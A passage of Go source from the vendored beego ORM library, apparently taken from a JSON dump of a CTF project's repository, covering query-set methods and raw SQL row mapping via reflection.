{\n\to.offset = ToInt64(num)\n}\n\n// add LIMIT value.\n// args[0] means offset, e.g. LIMIT num,offset.\nfunc (o querySet) Limit(limit interface{}, args ...interface{}) QuerySeter {\n\to.limit = ToInt64(limit)\n\tif len(args) > 0 {\n\t\to.setOffset(args[0])\n\t}\n\treturn &o\n}\n\n// add OFFSET value\nfunc (o querySet) Offset(offset interface{}) QuerySeter {\n\to.setOffset(offset)\n\treturn &o\n}\n\n// add GROUP expression\nfunc (o querySet) GroupBy(exprs ...string) QuerySeter {\n\to.groups = exprs\n\treturn &o\n}\n\n// add ORDER expression.\n// \"column\" means ASC, \"-column\" means DESC.\nfunc (o querySet) OrderBy(exprs ...string) QuerySeter {\n\to.orders = exprs\n\treturn &o\n}\n\n// add DISTINCT to SELECT\nfunc (o querySet) Distinct() QuerySeter {\n\to.distinct = true\n\treturn &o\n}\n\n// set relation model to query together.\n// it will query relation models and assign to parent model.\nfunc (o querySet) RelatedSel(params ...interface{}) QuerySeter {\n\tif len(params) == 0 {\n\t\to.relDepth = DefaultRelsDepth\n\t} else {\n\t\tfor _, p := range params {\n\t\t\tswitch val := p.(type) {\n\t\t\tcase string:\n\t\t\t\to.related = append(o.related, val)\n\t\t\tcase int:\n\t\t\t\to.relDepth = val\n\t\t\tdefault:\n\t\t\t\tpanic(fmt.Errorf(\"<QuerySeter.RelatedSel> wrong param kind: %v\", val))\n\t\t\t}\n\t\t}\n\t}\n\treturn &o\n}\n\n// set condition to QuerySeter.\nfunc (o querySet) SetCond(cond *Condition) QuerySeter {\n\to.cond = cond\n\treturn &o\n}\n\n// get condition from QuerySeter\nfunc (o querySet) GetCond() *Condition {\n\treturn o.cond\n}\n\n// return QuerySeter execution result number\nfunc (o *querySet) Count() (int64, error) {\n\treturn o.orm.alias.DbBaser.Count(o.orm.db, o, o.mi, o.cond, o.orm.alias.TZ)\n}\n\n// check result empty or not after QuerySeter executed\nfunc (o *querySet) Exist() bool {\n\tcnt, _ := o.orm.alias.DbBaser.Count(o.orm.db, o, o.mi, o.cond, o.orm.alias.TZ)\n\treturn cnt > 0\n}\n\n// execute update with parameters\nfunc (o *querySet) Update(values Params) (int64, error) {\n\treturn o.orm.alias.DbBaser.UpdateBatch(o.orm.db, o, o.mi, o.cond, values, o.orm.alias.TZ)\n}\n\n// execute delete\nfunc (o *querySet) Delete() (int64, error) {\n\treturn o.orm.alias.DbBaser.DeleteBatch(o.orm.db, o, o.mi, o.cond, o.orm.alias.TZ)\n}\n\n// return a insert queryer.\n// it can be used in times.\n// example:\n// \ti,err := sq.PrepareInsert()\n// \ti.Add(&user1{},&user2{})\nfunc (o *querySet) PrepareInsert() (Inserter, error) {\n\treturn newInsertSet(o.orm, o.mi)\n}\n\n// query all data and map to containers.\n// cols means the columns when querying.\nfunc (o *querySet) All(container interface{}, cols ...string) (int64, error) {\n\treturn o.orm.alias.DbBaser.ReadBatch(o.orm.db, o, o.mi, o.cond, container, o.orm.alias.TZ, cols)\n}\n\n// query one row data and map to containers.\n// cols means the columns when querying.\nfunc (o *querySet) One(container interface{}, cols ...string) error {\n\to.limit = 1\n\tnum, err := o.orm.alias.DbBaser.ReadBatch(o.orm.db, o, o.mi, o.cond, container, o.orm.alias.TZ, cols)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif num == 0 {\n\t\treturn ErrNoRows\n\t}\n\n\tif num > 1 {\n\t\treturn ErrMultiRows\n\t}\n\treturn nil\n}\n\n// query all data and map to []map[string]interface.\n// expres means condition expression.\n// it converts data to []map[column]value.\nfunc (o *querySet) Values(results *[]Params, exprs ...string) (int64, error) {\n\treturn o.orm.alias.DbBaser.ReadValues(o.orm.db, o, o.mi, o.cond, exprs, results, o.orm.alias.TZ)\n}\n\n// query all data and map to [][]interface\n// it converts data to [][column_index]value\nfunc (o *querySet) ValuesList(results *[]ParamsList, exprs ...string) (int64, error) {\n\treturn o.orm.alias.DbBaser.ReadValues(o.orm.db, o, o.mi, o.cond, exprs, results, o.orm.alias.TZ)\n}\n\n// query all data and map to []interface.\n// it's designed for one row record set, auto change to []value, not [][column]value.\nfunc (o *querySet) ValuesFlat(result *ParamsList, expr string) (int64, error) {\n\treturn o.orm.alias.DbBaser.ReadValues(o.orm.db, o, o.mi, o.cond, []string{expr}, result, o.orm.alias.TZ)\n}\n\n// query all rows into map[string]interface with specify key and value column name.\n// keyCol = \"name\", valueCol = \"value\"\n// table data\n// name  | value\n// total | 100\n// found | 200\n// to map[string]interface{}{\n// \t\"total\": 100,\n// \t\"found\": 200,\n// }\nfunc (o *querySet) RowsToMap(result *Params, keyCol, valueCol string) (int64, error) {\n\tpanic(ErrNotImplement)\n}\n\n// query all rows into struct with specify key and value column name.\n// keyCol = \"name\", valueCol = \"value\"\n// table data\n// name  | value\n// total | 100\n// found | 200\n// to struct {\n// \tTotal int\n// \tFound int\n// }\nfunc (o *querySet) RowsToStruct(ptrStruct interface{}, keyCol, valueCol string) (int64, error) {\n\tpanic(ErrNotImplement)\n}\n\n// create new QuerySeter.\nfunc newQuerySet(orm *orm, mi *modelInfo) QuerySeter {\n\to := new(querySet)\n\to.mi = mi\n\to.orm = orm\n\treturn o\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/orm_raw.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"time\"\n)\n\n// raw sql string prepared statement\ntype rawPrepare struct {\n\trs     *rawSet\n\tstmt   stmtQuerier\n\tclosed bool\n}\n\nfunc (o *rawPrepare) Exec(args ...interface{}) (sql.Result, error) {\n\tif o.closed {\n\t\treturn nil, ErrStmtClosed\n\t}\n\treturn o.stmt.Exec(args...)\n}\n\nfunc (o *rawPrepare) Close() error {\n\to.closed = true\n\treturn o.stmt.Close()\n}\n\nfunc newRawPreparer(rs *rawSet) (RawPreparer, error) {\n\to := new(rawPrepare)\n\to.rs = rs\n\n\tquery := rs.query\n\trs.orm.alias.DbBaser.ReplaceMarks(&query)\n\n\tst, err := rs.orm.db.Prepare(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif Debug {\n\t\to.stmt = newStmtQueryLog(rs.orm.alias, st, query)\n\t} else {\n\t\to.stmt = st\n\t}\n\treturn o, nil\n}\n\n// raw query seter\ntype rawSet struct {\n\tquery string\n\targs  []interface{}\n\torm   *orm\n}\n\nvar _ RawSeter = new(rawSet)\n\n// set args for every query\nfunc (o rawSet) SetArgs(args ...interface{}) RawSeter {\n\to.args = args\n\treturn &o\n}\n\n// execute raw sql and return sql.Result\nfunc (o *rawSet) Exec() (sql.Result, error) {\n\tquery := o.query\n\to.orm.alias.DbBaser.ReplaceMarks(&query)\n\n\targs := getFlatParams(nil, o.args, o.orm.alias.TZ)\n\treturn o.orm.db.Exec(query, args...)\n}\n\n// set field value to row container\nfunc (o *rawSet) setFieldValue(ind reflect.Value, value interface{}) {\n\tswitch ind.Kind() {\n\tcase reflect.Bool:\n\t\tif value == nil {\n\t\t\tind.SetBool(false)\n\t\t} else if v, ok := value.(bool); ok {\n\t\t\tind.SetBool(v)\n\t\t} else {\n\t\t\tv, _ := StrTo(ToStr(value)).Bool()\n\t\t\tind.SetBool(v)\n\t\t}\n\n\tcase reflect.String:\n\t\tif value == nil {\n\t\t\tind.SetString(\"\")\n\t\t} else {\n\t\t\tind.SetString(ToStr(value))\n\t\t}\n\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\tif value == nil {\n\t\t\tind.SetInt(0)\n\t\t} else {\n\t\t\tval := reflect.ValueOf(value)\n\t\t\tswitch val.Kind() {\n\t\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\t\tind.SetInt(val.Int())\n\t\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\t\t\tind.SetInt(int64(val.Uint()))\n\t\t\tdefault:\n\t\t\t\tv, _ := StrTo(ToStr(value)).Int64()\n\t\t\t\tind.SetInt(v)\n\t\t\t}\n\t\t}\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\tif value == nil {\n\t\t\tind.SetUint(0)\n\t\t} else {\n\t\t\tval := reflect.ValueOf(value)\n\t\t\tswitch val.Kind() {\n\t\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\t\tind.SetUint(uint64(val.Int()))\n\t\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\t\t\tind.SetUint(val.Uint())\n\t\t\tdefault:\n\t\t\t\tv, _ := StrTo(ToStr(value)).Uint64()\n\t\t\t\tind.SetUint(v)\n\t\t\t}\n\t\t}\n\tcase reflect.Float64, reflect.Float32:\n\t\tif value == nil {\n\t\t\tind.SetFloat(0)\n\t\t} else {\n\t\t\tval := reflect.ValueOf(value)\n\t\t\tswitch val.Kind() {\n\t\t\tcase reflect.Float64:\n\t\t\t\tind.SetFloat(val.Float())\n\t\t\tdefault:\n\t\t\t\tv, _ := StrTo(ToStr(value)).Float64()\n\t\t\t\tind.SetFloat(v)\n\t\t\t}\n\t\t}\n\n\tcase reflect.Struct:\n\t\tif value == nil {\n\t\t\tind.Set(reflect.Zero(ind.Type()))\n\n\t\t} else if _, ok := ind.Interface().(time.Time); ok {\n\t\t\tvar str string\n\t\t\tswitch d := value.(type) {\n\t\t\tcase time.Time:\n\t\t\t\to.orm.alias.DbBaser.TimeFromDB(&d, o.orm.alias.TZ)\n\t\t\t\tind.Set(reflect.ValueOf(d))\n\t\t\tcase []byte:\n\t\t\t\tstr = string(d)\n\t\t\tcase string:\n\t\t\t\tstr = d\n\t\t\t}\n\t\t\tif str != \"\" {\n\t\t\t\tif len(str) >= 19 {\n\t\t\t\t\tstr = str[:19]\n\t\t\t\t\tt, err := time.ParseInLocation(formatDateTime, str, o.orm.alias.TZ)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tt = t.In(DefaultTimeLoc)\n\t\t\t\t\t\tind.Set(reflect.ValueOf(t))\n\t\t\t\t\t}\n\t\t\t\t} else if len(str) >= 10 {\n\t\t\t\t\tstr = str[:10]\n\t\t\t\t\tt, err := time.ParseInLocation(formatDate, str, DefaultTimeLoc)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tind.Set(reflect.ValueOf(t))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n// set field value in loop for slice container\nfunc (o *rawSet) loopSetRefs(refs []interface{}, sInds []reflect.Value, nIndsPtr *[]reflect.Value, eTyps []reflect.Type, init bool) {\n\tnInds := *nIndsPtr\n\n\tcur := 0\n\tfor i := 0; i < len(sInds); i++ {\n\t\tsInd := sInds[i]\n\t\teTyp := eTyps[i]\n\n\t\ttyp := eTyp\n\t\tisPtr := false\n\t\tif typ.Kind() == reflect.Ptr {\n\t\t\tisPtr = true\n\t\t\ttyp = typ.Elem()\n\t\t}\n\t\tif typ.Kind() == reflect.Ptr {\n\t\t\tisPtr = true\n\t\t\ttyp = typ.Elem()\n\t\t}\n\n\t\tvar nInd reflect.Value\n\t\tif init {\n\t\t\tnInd = reflect.New(sInd.Type()).Elem()\n\t\t} else {\n\t\t\tnInd = nInds[i]\n\t\t}\n\n\t\tval := reflect.New(typ)\n\t\tind := val.Elem()\n\n\t\ttpName := ind.Type().String()\n\n\t\tif ind.Kind() == reflect.Struct {\n\t\t\tif tpName == \"time.Time\" {\n\t\t\t\tvalue := reflect.ValueOf(refs[cur]).Elem().Interface()\n\t\t\t\tif isPtr && value == nil {\n\t\t\t\t\tval = reflect.New(val.Type()).Elem()\n\t\t\t\t} else {\n\t\t\t\t\to.setFieldValue(ind, value)\n\t\t\t\t}\n\t\t\t\tcur++\n\t\t\t}\n\n\t\t} else {\n\t\t\tvalue := reflect.ValueOf(refs[cur]).Elem().Interface()\n\t\t\tif isPtr && value == nil {\n\t\t\t\tval = reflect.New(val.Type()).Elem()\n\t\t\t} else {\n\t\t\t\to.setFieldValue(ind, value)\n\t\t\t}\n\t\t\tcur++\n\t\t}\n\n\t\tif nInd.Kind() == reflect.Slice {\n\t\t\tif isPtr {\n\t\t\t\tnInd = reflect.Append(nInd, val)\n\t\t\t} else {\n\t\t\t\tnInd = reflect.Append(nInd, ind)\n\t\t\t}\n\t\t} else {\n\t\t\tif isPtr {\n\t\t\t\tnInd.Set(val)\n\t\t\t} else {\n\t\t\t\tnInd.Set(ind)\n\t\t\t}\n\t\t}\n\n\t\tnInds[i] = nInd\n\t}\n}\n\n// query data and map to container\nfunc (o *rawSet) QueryRow(containers ...interface{}) error {\n\tvar (\n\t\trefs  = make([]interface{}, 0, len(containers))\n\t\tsInds []reflect.Value\n\t\teTyps []reflect.Type\n\t\tsMi   *modelInfo\n\t)\n\tstructMode := false\n\tfor _, container := range containers {\n\t\tval := reflect.ValueOf(container)\n\t\tind := reflect.Indirect(val)\n\n\t\tif val.Kind() != reflect.Ptr {\n\t\t\tpanic(fmt.Errorf(\"<RawSeter.QueryRow> all args must be use ptr\"))\n\t\t}\n\n\t\tetyp := ind.Type()\n\t\ttyp := etyp\n\t\tif typ.Kind() == reflect.Ptr {\n\t\t\ttyp = typ.Elem()\n\t\t}\n\n\t\tsInds = append(sInds, ind)\n\t\teTyps = append(eTyps, etyp)\n\n\t\tif typ.Kind() == reflect.Struct && typ.String() != \"time.Time\" {\n\t\t\tif len(containers) > 1 {\n\t\t\t\tpanic(fmt.Errorf(\"<RawSeter.QueryRow> now support one struct only. see #384\"))\n\t\t\t}\n\n\t\t\tstructMode = true\n\t\t\tfn := getFullName(typ)\n\t\t\tif mi, ok := modelCache.getByFullName(fn); ok {\n\t\t\t\tsMi = mi\n\t\t\t}\n\t\t} else {\n\t\t\tvar ref interface{}\n\t\t\trefs = append(refs, &ref)\n\t\t}\n\t}\n\n\tquery := o.query\n\to.orm.alias.DbBaser.ReplaceMarks(&query)\n\n\targs := getFlatParams(nil, o.args, o.orm.alias.TZ)\n\trows, err := o.orm.db.Query(query, args...)\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn ErrNoRows\n\t\t}\n\t\treturn err\n\t}\n\n\tdefer rows.Close()\n\n\tif rows.Next() {\n\t\tif structMode {\n\t\t\tcolumns, err := rows.Columns()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tcolumnsMp := make(map[string]interface{}, len(columns))\n\n\t\t\trefs = make([]interface{}, 0, len(columns))\n\t\t\tfor _, col := range columns {\n\t\t\t\tvar ref interface{}\n\t\t\t\tcolumnsMp[col] = &ref\n\t\t\t\trefs = append(refs, &ref)\n\t\t\t}\n\n\t\t\tif err := rows.Scan(refs...); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tind := sInds[0]\n\n\t\t\tif ind.Kind() == reflect.Ptr {\n\t\t\t\tif ind.IsNil() || !ind.IsValid() {\n\t\t\t\t\tind.Set(reflect.New(eTyps[0].Elem()))\n\t\t\t\t}\n\t\t\t\tind = ind.Elem()\n\t\t\t}\n\n\t\t\tif sMi != nil {\n\t\t\t\tfor _, col := range columns {\n\t\t\t\t\tif fi := sMi.fields.GetByColumn(col); fi != nil {\n\t\t\t\t\t\tvalue := reflect.ValueOf(columnsMp[col]).Elem().Interface()\n\t\t\t\t\t\tfield := ind.FieldByIndex(fi.fieldIndex)\n\t\t\t\t\t\tif fi.fieldType&IsRelField > 0 {\n\t\t\t\t\t\t\tmf := reflect.New(fi.relModelInfo.addrField.Elem().Type())\n\t\t\t\t\t\t\tfield.Set(mf)\n\t\t\t\t\t\t\tfield = mf.Elem().FieldByIndex(fi.relModelInfo.fields.pk.fieldIndex)\n\t\t\t\t\t\t}\n\t\t\t\t\t\to.setFieldValue(field, value)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor i := 0; i < ind.NumField(); i++ {\n\t\t\t\t\tf := ind.Field(i)\n\t\t\t\t\tfe := ind.Type().Field(i)\n\t\t\t\t\t_, tags := parseStructTag(fe.Tag.Get(defaultStructTagName))\n\t\t\t\t\tvar col string\n\t\t\t\t\tif col = tags[\"column\"]; col == \"\" {\n\t\t\t\t\t\tcol = snakeString(fe.Name)\n\t\t\t\t\t}\n\t\t\t\t\tif v, ok := columnsMp[col]; ok {\n\t\t\t\t\t\tvalue := reflect.ValueOf(v).Elem().Interface()\n\t\t\t\t\t\to.setFieldValue(f, value)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\t\t\tif err := rows.Scan(refs...); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tnInds := make([]reflect.Value, len(sInds))\n\t\t\to.loopSetRefs(refs, sInds, &nInds, eTyps, true)\n\t\t\tfor i, sInd := range sInds {\n\t\t\t\tnInd := nInds[i]\n\t\t\t\tsInd.Set(nInd)\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\treturn ErrNoRows\n\t}\n\n\treturn nil\n}\n\n// query data rows and map to container\nfunc (o *rawSet) QueryRows(containers ...interface{}) (int64, error) {\n\tvar (\n\t\trefs  = make([]interface{}, 0, len(containers))\n\t\tsInds []reflect.Value\n\t\teTyps []reflect.Type\n\t\tsMi   *modelInfo\n\t)\n\tstructMode := false\n\tfor _, container := range containers {\n\t\tval := reflect.ValueOf(container)\n\t\tsInd := reflect.Indirect(val)\n\t\tif val.Kind() != reflect.Ptr || sInd.Kind() != reflect.Slice {\n\t\t\tpanic(fmt.Errorf(\"<RawSeter.QueryRows> all args must be use ptr slice\"))\n\t\t}\n\n\t\tetyp := sInd.Type().Elem()\n\t\ttyp := etyp\n\t\tif typ.Kind() == reflect.Ptr {\n\t\t\ttyp = typ.Elem()\n\t\t}\n\n\t\tsInds = append(sInds, sInd)\n\t\teTyps = append(eTyps, etyp)\n\n\t\tif typ.Kind() == reflect.Struct && typ.String() != \"time.Time\" {\n\t\t\tif len(containers) > 1 {\n\t\t\t\tpanic(fmt.Errorf(\"<RawSeter.QueryRow> now support one struct only. see #384\"))\n\t\t\t}\n\n\t\t\tstructMode = true\n\t\t\tfn := getFullName(typ)\n\t\t\tif mi, ok := modelCache.getByFullName(fn); ok {\n\t\t\t\tsMi = mi\n\t\t\t}\n\t\t} else {\n\t\t\tvar ref interface{}\n\t\t\trefs = append(refs, &ref)\n\t\t}\n\t}\n\n\tquery := o.query\n\to.orm.alias.DbBaser.ReplaceMarks(&query)\n\n\targs := getFlatParams(nil, o.args, o.orm.alias.TZ)\n\trows, err := o.orm.db.Query(query, args...)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tdefer rows.Close()\n\n\tvar cnt int64\n\tnInds := make([]reflect.Value, len(sInds))\n\tsInd := sInds[0]\n\n\tfor rows.Next() {\n\n\t\tif structMode {\n\t\t\tcolumns, err := rows.Columns()\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\tcolumnsMp := make(map[string]interface{}, len(columns))\n\n\t\t\trefs = make([]interface{}, 0, len(columns))\n\t\t\tfor _, col := range columns {\n\t\t\t\tvar ref interface{}\n\t\t\t\tcolumnsMp[col] = &ref\n\t\t\t\trefs = append(refs, &ref)\n\t\t\t}\n\n\t\t\tif err := rows.Scan(refs...); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\tif cnt == 0 && !sInd.IsNil() {\n\t\t\t\tsInd.Set(reflect.New(sInd.Type()).Elem())\n\t\t\t}\n\n\t\t\tvar ind reflect.Value\n\t\t\tif eTyps[0].Kind() == reflect.Ptr {\n\t\t\t\tind = reflect.New(eTyps[0].Elem())\n\t\t\t} else {\n\t\t\t\tind = reflect.New(eTyps[0])\n\t\t\t}\n\n\t\t\tif ind.Kind() == reflect.Ptr {\n\t\t\t\tind = ind.Elem()\n\t\t\t}\n\n\t\t\tif sMi != nil {\n\t\t\t\tfor _, col := range columns {\n\t\t\t\t\tif fi := sMi.fields.GetByColumn(col); fi != nil {\n\t\t\t\t\t\tvalue := reflect.ValueOf(columnsMp[col]).Elem().Interface()\n\t\t\t\t\t\tfield := ind.FieldByIndex(fi.fieldIndex)\n\t\t\t\t\t\tif fi.fieldType&IsRelField > 0 {\n\t\t\t\t\t\t\tmf := reflect.New(fi.relModelInfo.addrField.Elem().Type())\n\t\t\t\t\t\t\tfield.Set(mf)\n\t\t\t\t\t\t\tfield = mf.Elem().FieldByIndex(fi.relModelInfo.fields.pk.fieldIndex)\n\t\t\t\t\t\t}\n\t\t\t\t\t\to.setFieldValue(field, value)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// define recursive function\n\t\t\t\tvar recursiveSetField func(rv reflect.Value)\n\t\t\t\trecursiveSetField = func(rv reflect.Value) {\n\t\t\t\t\tfor i := 0; i < rv.NumField(); i++ {\n\t\t\t\t\t\tf := rv.Field(i)\n\t\t\t\t\t\tfe := rv.Type().Field(i)\n\n\t\t\t\t\t\t// check if the field is a Struct\n\t\t\t\t\t\t// recursive the Struct type\n\t\t\t\t\t\tif fe.Type.Kind() == reflect.Struct {\n\t\t\t\t\t\t\trecursiveSetField(f)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t_, tags := parseStructTag(fe.Tag.Get(defaultStructTagName))\n\t\t\t\t\t\tvar col string\n\t\t\t\t\t\tif col = tags[\"column\"]; col == \"\" {\n\t\t\t\t\t\t\tcol = snakeString(fe.Name)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif v, ok := columnsMp[col]; ok {\n\t\t\t\t\t\t\tvalue := reflect.ValueOf(v).Elem().Interface()\n\t\t\t\t\t\t\to.setFieldValue(f, value)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// init call the recursive function\n\t\t\t\trecursiveSetField(ind)\n\t\t\t}\n\n\t\t\tif eTyps[0].Kind() == reflect.Ptr {\n\t\t\t\tind = ind.Addr()\n\t\t\t}\n\n\t\t\tsInd = reflect.Append(sInd, ind)\n\n\t\t} else {\n\t\t\tif err := rows.Scan(refs...); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\to.loopSetRefs(refs, sInds, &nInds, eTyps, cnt == 0)\n\t\t}\n\n\t\tcnt++\n\t}\n\n\tif cnt > 0 {\n\n\t\tif structMode {\n\t\t\tsInds[0].Set(sInd)\n\t\t} else {\n\t\t\tfor i, sInd := range sInds {\n\t\t\t\tnInd := nInds[i]\n\t\t\t\tsInd.Set(nInd)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn cnt, nil\n}\n\nfunc (o *rawSet) readValues(container interface{}, needCols []string) (int64, error) {\n\tvar (\n\t\tmaps  []Params\n\t\tlists []ParamsList\n\t\tlist  ParamsList\n\t)\n\n\ttyp := 0\n\tswitch container.(type) {\n\tcase *[]Params:\n\t\ttyp = 1\n\tcase *[]ParamsList:\n\t\ttyp = 2\n\tcase *ParamsList:\n\t\ttyp = 3\n\tdefault:\n\t\tpanic(fmt.Errorf(\"<RawSeter> unsupport read values type `%T`\", container))\n\t}\n\n\tquery := o.query\n\to.orm.alias.DbBaser.ReplaceMarks(&query)\n\n\targs := getFlatParams(nil, o.args, o.orm.alias.TZ)\n\n\tvar rs *sql.Rows\n\trs, err := o.orm.db.Query(query, args...)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tdefer rs.Close()\n\n\tvar (\n\t\trefs   []interface{}\n\t\tcnt    int64\n\t\tcols   []string\n\t\tindexs []int\n\t)\n\n\tfor rs.Next() {\n\t\tif cnt == 0 {\n\t\t\tcolumns, err := rs.Columns()\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tif len(needCols) > 0 {\n\t\t\t\tindexs = make([]int, 0, len(needCols))\n\t\t\t} else {\n\t\t\t\tindexs = make([]int, 0, len(columns))\n\t\t\t}\n\n\t\t\tcols = columns\n\t\t\trefs = make([]interface{}, len(cols))\n\t\t\tfor i := range refs {\n\t\t\t\tvar ref sql.NullString\n\t\t\t\trefs[i] = &ref\n\n\t\t\t\tif len(needCols) > 0 {\n\t\t\t\t\tfor _, c := range needCols {\n\t\t\t\t\t\tif c == cols[i] {\n\t\t\t\t\t\t\tindexs = append(indexs, i)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tindexs = append(indexs, i)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif err := rs.Scan(refs...); err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tswitch typ {\n\t\tcase 1:\n\t\t\tparams := make(Params, len(cols))\n\t\t\tfor _, i := range indexs {\n\t\t\t\tref := refs[i]\n\t\t\t\tvalue := reflect.Indirect(reflect.ValueOf(ref)).Interface().(sql.NullString)\n\t\t\t\tif value.Valid {\n\t\t\t\t\tparams[cols[i]] = value.String\n\t\t\t\t} else {\n\t\t\t\t\tparams[cols[i]] = nil\n\t\t\t\t}\n\t\t\t}\n\t\t\tmaps = append(maps, params)\n\t\tcase 2:\n\t\t\tparams := make(ParamsList, 0, len(cols))\n\t\t\tfor _, i := range indexs {\n\t\t\t\tref := refs[i]\n\t\t\t\tvalue := reflect.Indirect(reflect.ValueOf(ref)).Interface().(sql.NullString)\n\t\t\t\tif value.Valid {\n\t\t\t\t\tparams = append(params, value.String)\n\t\t\t\t} else {\n\t\t\t\t\tparams = append(params, nil)\n\t\t\t\t}\n\t\t\t}\n\t\t\tlists = append(lists, params)\n\t\tcase 3:\n\t\t\tfor _, i := range indexs {\n\t\t\t\tref := refs[i]\n\t\t\t\tvalue := reflect.Indirect(reflect.ValueOf(ref)).Interface().(sql.NullString)\n\t\t\t\tif value.Valid {\n\t\t\t\t\tlist = append(list, value.String)\n\t\t\t\t} else {\n\t\t\t\t\tlist = append(list, nil)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tcnt++\n\t}\n\n\tswitch v := container.(type) {\n\tcase *[]Params:\n\t\t*v = maps\n\tcase *[]ParamsList:\n\t\t*v = lists\n\tcase *ParamsList:\n\t\t*v = list\n\t}\n\n\treturn cnt, nil\n}\n\nfunc (o *rawSet) queryRowsTo(container interface{}, keyCol, valueCol string) (int64, error) {\n\tvar (\n\t\tmaps Params\n\t\tind  *reflect.Value\n\t)\n\n\tvar typ int\n\tswitch container.(type) {\n\tcase *Params:\n\t\ttyp = 1\n\tdefault:\n\t\ttyp = 2\n\t\tvl := reflect.ValueOf(container)\n\t\tid := reflect.Indirect(vl)\n\t\tif vl.Kind() != reflect.Ptr || id.Kind() != reflect.Struct {\n\t\t\tpanic(fmt.Errorf(\"<RawSeter> RowsTo unsupport type `%T` need ptr struct\", container))\n\t\t}\n\n\t\tind = &id\n\t}\n\n\tquery := o.query\n\to.orm.alias.DbBaser.ReplaceMarks(&query)\n\n\targs := getFlatParams(nil, o.args, o.orm.alias.TZ)\n\n\trs, err := o.orm.db.Query(query, args...)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tdefer rs.Close()\n\n\tvar (\n\t\trefs []interface{}\n\t\tcnt  int64\n\t\tcols []string\n\t)\n\n\tvar (\n\t\tkeyIndex   = -1\n\t\tvalueIndex = -1\n\t)\n\n\tfor rs.Next() {\n\t\tif cnt == 0 {\n\t\t\tcolumns, err := rs.Columns()\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tcols = columns\n\t\t\trefs = make([]interface{}, len(cols))\n\t\t\tfor i := range refs {\n\t\t\t\tif keyCol == cols[i] {\n\t\t\t\t\tkeyIndex = i\n\t\t\t\t}\n\t\t\t\tif typ == 1 || keyIndex == i {\n\t\t\t\t\tvar ref sql.NullString\n\t\t\t\t\trefs[i] = &ref\n\t\t\t\t} else {\n\t\t\t\t\tvar ref interface{}\n\t\t\t\t\trefs[i] = &ref\n\t\t\t\t}\n\t\t\t\tif valueCol == cols[i] {\n\t\t\t\t\tvalueIndex = i\n\t\t\t\t}\n\t\t\t}\n\t\t\tif keyIndex == -1 || valueIndex == -1 {\n\t\t\t\tpanic(fmt.Errorf(\"<RawSeter> RowsTo unknown key, value column name `%s: %s`\", keyCol, valueCol))\n\t\t\t}\n\t\t}\n\n\t\tif err := rs.Scan(refs...); err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tif cnt == 0 {\n\t\t\tswitch typ {\n\t\t\tcase 1:\n\t\t\t\tmaps = make(Params)\n\t\t\t}\n\t\t}\n\n\t\tkey := reflect.Indirect(reflect.ValueOf(refs[keyIndex])).Interface().(sql.NullString).String\n\n\t\tswitch typ {\n\t\tcase 1:\n\t\t\tvalue := reflect.Indirect(reflect.ValueOf(refs[valueIndex])).Interface().(sql.NullString)\n\t\t\tif value.Valid {\n\t\t\t\tmaps[key] = value.String\n\t\t\t} else {\n\t\t\t\tmaps[key] = nil\n\t\t\t}\n\n\t\tdefault:\n\t\t\tif id := ind.FieldByName(camelString(key)); id.IsValid() {\n\t\t\t\to.setFieldValue(id, 